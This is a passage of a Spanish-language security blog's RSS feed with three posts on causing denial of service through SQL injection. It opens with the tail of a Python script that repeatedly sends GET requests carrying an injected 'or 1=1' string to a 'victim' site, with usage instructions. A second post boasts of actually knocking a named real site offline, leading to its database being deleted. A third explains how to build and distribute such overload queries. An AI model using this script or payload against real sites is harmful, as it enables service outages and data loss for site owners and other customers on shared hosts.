<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>, <span class="kw3">socket</span>.<span class="me1">SOCK_STREAM</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">connect</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>, <span class="nu0">80</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;&gt;&gt; GET /&quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> + <span class="st0">&quot; HTTP/1.1&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;GET /&quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> + <span class="st0">&quot; HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;Host: &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> &nbsp;+ <span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span> i <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">10</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; attack<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.<br />
El uso del script es de la siguiente forma:<br />
<code>$ python DDoS.py www.pagina.com SQLi</code><br />
En <em>www.pagina.com</em> obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo &#8220;<strong>ver_productos.php?id=55&#8242; or &#8217;1&#8242;=&#8217;1</strong>&#8220;</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Prueba de concepto: DDoS vía SQLi</title>
		<link>http://blog.zerial.org/seguridad/prueba-de-concepto-ddos-via-sqli/</link>
		<comments>http://blog.zerial.org/seguridad/prueba-de-concepto-ddos-via-sqli/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 17:46:17 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[proof-of-concept]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=704</guid>
		<description><![CDATA[La semana pasada publiqué un artículo donde explicaba cómo llegar a realizar un ataque de denegación de servicio con éxito, pues bien, con un grupo de personas nos dedicamos a realizar una prueba de concepto y testear que tan eficáz era. El primer paso fue encontrar un objetivo que tenga una vulnerabilidad SQLi, luego de [...]]]></description>
			<content:encoded><![CDATA[<p>La semana pasada publiqué <a href="http://blog.zerial.org/seguridad/como-provocar-un-ataque-ddos-mediante-sql-injection/" target="_blank">un artículo</a> donde explicaba cómo llegar a realizar un ataque de denegación de servicio con éxito, pues bien, con <a href="http://insecurity.cl" target="_blank">un grupo de personas</a> nos dedicamos a realizar una prueba de concepto y <em>testear</em> que tan eficáz era.</p>
<p>El primer paso fue encontrar un objetivo que tenga una vulnerabilidad <strong>SQLi</strong>, luego de eso ver hasta qué punto podemos inyectar código SQL para poder crear nuestra <em>consulta pesada</em> que genere la denegación de servicio.</p>
<p>El sitio objetivo fue <a href="http://maqval.cl" target="_blank">http://maqval.cl</a> (alojado en dreamhost), sitio que esta entre los &#8220;<em>Sitios vulnerables</em>&#8221; que he publicado. La consulta SQL que nos ayudó a realizar la denegación de servicio fue una con SELECT anidados usando la función BENCHMARK y repitiendo muchas veces  estas instrucciones. No sé si el sitio web corrigió las vulnerabilidades, por lo que no daré el string completo de la inyección sql.</p>
<p><span id="more-704"></span></p>
<p>Fuimos 2 o 3 personas las que ejecutamos la inyección sql y al pasar los segundos el sitio dejo de responder, mostrando el mensaje:</p>
<blockquote>
<h3>This Site is temporarily unavailable</h3>
</blockquote>
<p>Bastaron dos o tres peticiones para que el sitio cayera.<br />
El sitio estuvo abajo toda la noche y al otro día. Me comuniqué con el encargado del hosting y me contó que lo estaban llamando los clientes para preguntar que sucedia con el sitio web, que los productos y precios no aparecian, etc. El encargado se conectó a la base de datos y se sio cuenta que no estaba, como si la hubiesen eliminado (drop database, delete&#8230;) me miró y yo le dije &#8220;Oops! Yo no fui, yo solo le hice DoS&#8221;, entonces él empezó a averiguar y claro, los de <span style="text-decoration: line-through;">sotorpe</span> soporte de dreamhosthabían eliminado la base de datos ya que consumia muchos recursos en el servidor y estaba comprometiendo el servicio de otros clientes, afortunadamente el encargado del hosting tenia un respaldo de la base de datos.</p>
<p>Bueno, con esto, lo único que queda decir, un ataque dirigido puede llegar a afectar a todos los usuarios y servicios de un servidor, logrando hasta que le cancelen la cuenta. La prueba de concepto fue realizada con éxito.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fprueba-de-concepto-ddos-via-sqli%2F&amp;linkname=Prueba%20de%20concepto%3A%20DDoS%20v%C3%ADa%20SQLi" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fprueba-de-concepto-ddos-via-sqli%2F&amp;linkname=Prueba%20de%20concepto%3A%20DDoS%20v%C3%ADa%20SQLi" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fprueba-de-concepto-ddos-via-sqli%2F&amp;linkname=Prueba%20de%20concepto%3A%20DDoS%20v%C3%ADa%20SQLi" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fprueba-de-concepto-ddos-via-sqli%2F&amp;linkname=Prueba%20de%20concepto%3A%20DDoS%20v%C3%ADa%20SQLi" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fprueba-de-concepto-ddos-via-sqli%2F&amp;linkname=Prueba%20de%20concepto%3A%20DDoS%20v%C3%ADa%20SQLi" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fprueba-de-concepto-ddos-via-sqli%2F&amp;linkname=Prueba%20de%20concepto%3A%20DDoS%20v%C3%ADa%20SQLi" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fprueba-de-concepto-ddos-via-sqli%2F&amp;linkname=Prueba%20de%20concepto%3A%20DDoS%20v%C3%ADa%20SQLi" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fprueba-de-concepto-ddos-via-sqli%2F&amp;linkname=Prueba%20de%20concepto%3A%20DDoS%20v%C3%ADa%20SQLi">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/prueba-de-concepto-ddos-via-sqli/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cómo provocar un ataque DDoS mediante SQL Injection</title>
		<link>http://blog.zerial.org/seguridad/como-provocar-un-ataque-ddos-mediante-sql-injection/</link>
		<comments>http://blog.zerial.org/seguridad/como-provocar-un-ataque-ddos-mediante-sql-injection/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 02:10:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[denegacion de servicio]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=617</guid>
		<description><![CDATA[Más que enseñar a explotar esta vulnerabilidad para provocar un ataque de denegación de servicio, lo que busco es que los desarrolladores sepan la magnitud que puede tener una falla de este tipo (hay que encontrarle el lado white a las cosa .  Un ataque de denegación de servicio (DoS), como su nombre lo dice [...]]]></description>
			<content:encoded><![CDATA[<p>Más que enseñar a explotar esta vulnerabilidad para provocar un ataque de denegación de servicio, lo que busco es que los desarrolladores sepan la magnitud que puede tener una falla de este tipo (hay que encontrarle el lado <em>white</em> a las cosa <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .  Un ataque de denegación de servicio (DoS), como su nombre lo dice y en palabras simples, consiste en denegar un servicio para que éste deje de responder y se <em>caiga</em>. Este tipo de ataque se puede realizar de forma distribuida para que tenga mejor efecto, es decir, sincronizando y distribuyendo la carga y el ataque en distintas máquinas con el mismo objetivo.</p>
<p style="text-align: center;"><img class="size-full wp-image-642 aligncenter" title="ddosattc" src="http://blog.zerial.org/wp-content/uploads/2009/07/ddosattc.jpg" alt="Imágen: http://nsl.cs.columbia.edu" width="469" height="359" />(<em>Imágen: <a href="http://nsl.cs.columbia.edu" target="_blank">http://nsl.cs.columbia.edu</a></em>)</p>
<p><span id="more-617"></span></p>
<p>La teoría de esto es muy sencilla, pensemos que para hacer que un servicio deje de responder hay que hacer que se sature y esto se puede lograr de varias formas, muchas conexiones simultaneas, flood, synflood, etc. La forma que quiero enseñar es bastante más simple y consiste en modificar una consulta SQL, mediante SQL Injection, de manera tal que el servidor aumente considerablemente su carga y tiempo de respuesta hasta lograr el esperado <em>denial of service</em>.</p>
<p>Por ejemplo, pensemos en una tienda comercial que tiene en su base de datos miles (o millones) de productos, una tipica consulta para listar los productos de una categoría en particular sería:</p>
<p><code>SELECT id,producto,valor FROM productos WHERE categoria = (id de la categoría)</code></p>
<p>Y la URI sería algo como<br />
<strong>http://sitio.com/tienda/productos.php?categoria=(id de la categoría)</strong>.<br />
Si este sitio permitiese inyectar código SQL podríamos modificar la consulta de manera tal que nos muestre todos los productos, sin importar la categoría, haciendo que la consulta quede de la siguiente forma:</p>
<p><code>SELECT id,producto,valor FROM productos WHERE categoria = (id de la categoría) <strong><em>OR 1 = 1</em></strong></code></p>
<p>Para lograr esto, la dirección quedaría mas o menos asi:<br />
<strong>http://sitio.com/tienda/productos.php?categoria=(id de la categoría)%20OR%201=1</strong><br />
Logrando que el sitio web nos muestre todos los productos y generando una carga mayor al servidor.</p>
<p>Si encontamos la forma de lograr la mayor carga en el servidor, podemos hacer un ataque sincronizado y distribuido para lograr nuestro objetivo: DDoS.<br />
La distribución del ataque se puede realizar de distintas formas, muchos computadores atacando un sitio web o bien buscar las sitios web alojados en el mismo servidor o que usen el mismo recurso de base de datos y de esta forma generar más carga aún.</p>
<p>Está de más decir que esto es sólo una prueba de concepto y que si bien hay muchos sitios vulnerables a este tipo de ataque, la finalidad de todo esto es saber el alcance que puede tener una no-validación de datos.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-provocar-un-ataque-ddos-mediante-sql-injection%2F&amp;linkname=C%C3%B3mo%20provocar%20un%20ataque%20DDoS%20mediante%20SQL%20Injection" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-provocar-un-ataque-ddos-mediante-sql-injection%2F&amp;linkname=C%C3%B3mo%20provocar%20un%20ataque%20DDoS%20mediante%20SQL%20Injection" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-provocar-un-ataque-ddos-mediante-sql-injection%2F&amp;linkname=C%C3%B3mo%20provocar%20un%20ataque%20DDoS%20mediante%20SQL%20Injection" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-provocar-un-ataque-ddos-mediante-sql-injection%2F&amp;linkname=C%C3%B3mo%20provocar%20un%20ataque%20DDoS%20mediante%20SQL%20Injection" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-provocar-un-ataque-ddos-mediante-sql-injection%2F&amp;linkname=C%C3%B3mo%20provocar%20un%20ataque%20DDoS%20mediante%20SQL%20Injection" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-provocar-un-ataque-ddos-mediante-sql-injection%2F&amp;linkname=C%C3%B3mo%20provocar%20un%20ataque%20DDoS%20mediante%20SQL%20Injection" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-provocar-un-ataque-ddos-mediante-sql-injection%2F&amp;linkname=C%C3%B3mo%20provocar%20un%20ataque%20DDoS%20mediante%20SQL%20Injection" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-provocar-un-ataque-ddos-mediante-sql-injection%2F&amp;linkname=C%C3%B3mo%20provocar%20un%20ataque%20DDoS%20mediante%20SQL%20Injection">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/como-provocar-un-ataque-ddos-mediante-sql-injection/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>
